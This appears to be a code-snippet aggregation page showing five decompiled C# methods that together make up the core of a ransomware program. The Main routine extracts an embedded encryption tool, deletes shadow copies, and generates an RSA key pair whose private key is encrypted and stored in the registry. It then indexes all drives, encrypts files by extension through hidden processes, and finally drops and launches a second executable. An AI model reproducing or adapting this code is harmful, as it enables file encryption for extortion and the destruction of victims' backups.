Esempio n. 1
0
        public static string InitKeysSubsystem(string masterPublicKey)
        {
            string result = "";

            try
            {
                RegistryKey registryKey  = Registry.CurrentUser.OpenSubKey("Software", true);
                RegistryKey registryKey2 = registryKey.OpenSubKey("WC", true);
                if (registryKey2 == null)
                {
                    registryKey2 = registryKey.CreateSubKey("WC");
                }
                if (registryKey2.GetValue("guid") == null)
                {
                    registryKey2.SetValue("guid", Guid.NewGuid().ToString());
                    string text     = PS.ExecuteAndWait(Program.ENCRYPTION_TOOL_FNAME, "-genrsa");
                    string contents = text.Split(new char[]
                    {
                        ','
                    })[0];
                    string text2 = text.Split(new char[]
                    {
                        ','
                    })[1];
                    File.WriteAllText(Program.ENCRYPTED_PRIVATE_KEY_FNAME, contents);
                    GC.Collect();
                    PS.ExecuteAndWait(Program.ENCRYPTION_TOOL_FNAME, "-ef " + Program.ENCRYPTED_PRIVATE_KEY_FNAME + " " + masterPublicKey);
                    byte[] inArray = File.ReadAllBytes(Program.ENCRYPTED_PRIVATE_KEY_FNAME);
                    File.Delete(Program.ENCRYPTED_PRIVATE_KEY_FNAME);
                    registryKey2.SetValue("public_key", text2);
                    registryKey2.SetValue("private_key_encrypted", Convert.ToBase64String(inArray));
                    registryKey2.SetValue("wc_path", Assembly.GetEntryAssembly().Location);
                    result = text2;
                }
                else
                {
                    result = (string)registryKey2.GetValue("public_key");
                }
                registryKey2.Close();
                registryKey.Close();
            }
            catch
            {
            }
            return(result);
        }
Esempio n. 2
0
        private static string Execute(string path, string arguments, bool wait)
        {
            string result;

            try
            {
                Process process = PS.StartHidden(path, arguments);
                if (wait)
                {
                    process.WaitForExit();
                    result = process.StandardOutput.ReadToEnd();
                }
                else
                {
                    result = null;
                }
            }
            catch
            {
                result = "";
            }
            return(result);
        }
Esempio n. 3
0
 public static void ExecuteAndForget(string path, string arguments)
 {
     PS.Execute(path, arguments, false);
 }
Esempio n. 4
0
 public static string ExecuteAndWait(string path, string arguments)
 {
     return(PS.Execute(path, arguments, true));
 }
Esempio n. 5
0
        private static void Main(string[] args)
        {
            if (args.Length == 1 && args[0] == "-extract")
            {
                File.WriteAllBytes(Program.ENCRYPTION_TOOL_FNAME, Resources.ed);
            }
            if (args.Length != 2)
            {
                return;
            }
            try
            {
                string text  = args[0];
                string text2 = args[1];
                bool   flag  = text == "-ed";
                if (!(text != "-ed") || !(text != "-dd"))
                {
                    if (text2 == "demo")
                    {
                        text2 = (flag ? Program.DEMO_KEY_PUBLIC : Program.DEMO_KEY_PRIVATE);
                    }
                    Program.RemoveIndexFiles();
                    File.WriteAllBytes(Program.ENCRYPTION_TOOL_FNAME, Resources.ed);
                    PS.ExecuteAndForget(Program.ENCRYPTION_TOOL_FNAME, "-delshadowcopies");
                    string text3 = flag ? Program.InitKeysSubsystem(text2) : text2;
                    if (text3 == Program.DEMO_KEY_PRIVATE)
                    {
                        try
                        {
                            string text4 = "key.decrypted";
                            File.WriteAllBytes(text4, Convert.FromBase64String((string)Registry.CurrentUser.OpenSubKey("Software\\WC", false).GetValue("private_key_encrypted")));
                            PS.ExecuteAndWait(Program.ENCRYPTION_TOOL_FNAME, "-df " + text4 + " " + text2);
                            text3 = File.ReadAllText(text4);
                            File.Delete(text4);
                        }
                        catch
                        {
                            text3 = "";
                        }
                    }
                    if (!(text3 == ""))
                    {
                        List <string>  list  = Program.ListDrives();
                        List <Process> list2 = new List <Process>();
                        using (List <string> .Enumerator enumerator = list.GetEnumerator())
                        {
                            while (enumerator.MoveNext())
                            {
                                string current = enumerator.Current;
                                list2.Add(PS.StartHidden(Program.ENCRYPTION_TOOL_FNAME, "-index " + current));
                            }
                            goto IL_196;
                        }
IL_18C:
                        Thread.Sleep(1000);
IL_196:
                        if (!Program.CheckJobsDone(list2))
                        {
                            goto IL_18C;
                        }
                        list2.Clear();
                        List <string> list3 = new List <string>();
                        foreach (string current2 in list)
                        {
                            string format = "{0} {1} {2} windows {3}";
                            list3.Add(string.Format(format, new string[]
                            {
                                text,
                                current2,
                                Program.DEMO_EXTENSIONS,
                                flag ? Program.DEMO_KEY_PUBLIC : Program.DEMO_KEY_PRIVATE
                            }));
                            string[] aLL_EXTENSIONS = Program.ALL_EXTENSIONS;
                            for (int i = 0; i < aLL_EXTENSIONS.Length; i++)
                            {
                                string text5 = aLL_EXTENSIONS[i];
                                list3.Add(string.Format(format, new string[]
                                {
                                    text,
                                    current2,
                                    text5,
                                    text3
                                }));
                            }
                        }
                        PS.RedirectOutput = false;
                        using (List <string> .Enumerator enumerator = list3.GetEnumerator())
                        {
                            while (enumerator.MoveNext())
                            {
                                string current3 = enumerator.Current;
                                list2.Add(PS.StartHidden(Program.ENCRYPTION_TOOL_FNAME, current3));
                            }
                            goto IL_2B5;
                        }
IL_2AB:
                        Thread.Sleep(1000);
IL_2B5:
                        if (!Program.CheckJobsDone(list2))
                        {
                            goto IL_2AB;
                        }
                    }
                }
            }
            catch (Exception)
            {
            }
            finally
            {
                try
                {
                    Program.RemoveIndexFiles();
                    File.WriteAllBytes("wd.exe", Resources.wg);
                    PS.ExecuteAndForget("wd.exe", "");
                }
                catch
                {
                }
                try
                {
                    File.Delete(Program.ENCRYPTION_TOOL_FNAME);
                }
                catch
                {
                }
            }
        }